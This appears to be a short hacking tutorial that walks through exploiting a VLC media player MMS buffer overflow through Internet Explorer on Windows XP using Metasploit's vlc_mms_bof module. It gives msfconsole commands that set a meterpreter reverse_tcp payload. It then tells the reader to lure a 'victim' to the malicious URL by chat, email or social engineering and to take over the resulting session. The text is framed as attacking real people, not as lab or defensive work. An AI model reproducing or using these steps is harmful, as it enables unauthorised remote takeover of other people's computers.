How to Attacking on Remote PC using VLC Media Player Exploit

VLC MMS Stream Handling Buffer Overflow

This module exploits a buffer overflow in VLC media player VLC media player prior to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result in a stack buffer overflow when handling a malicious MMS URI. This module uses the browser as attack vector. A specially crafted MMS URI is used to trigger the overflow and get flow control through SEH overwrite. Control is transferred to code located in the heap through a standard heap spray. The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.

Exploit Targets

VLC media player 2.0.0

Internet Explorer 6 on XP SP2

Internet Explorer 7 on XP SP2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/vlc_mms_bof

Msf exploit (vlc_mms_bof)>set payload windows/meterpreter/reverse_tcp

Msf exploit (vlc_mms_bof)>set lhost (IP of Local Host)

Msf exploit (vlc_mms_bof)>set srvhost (This must be an address on the local machine)

Msf exploit (vlc_mms_bof)>set uripath vlcmms (The Url to use for this exploit)

Msf exploit (vlc_mms_bof)>exploit

Now an URL you should give to your victim //

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

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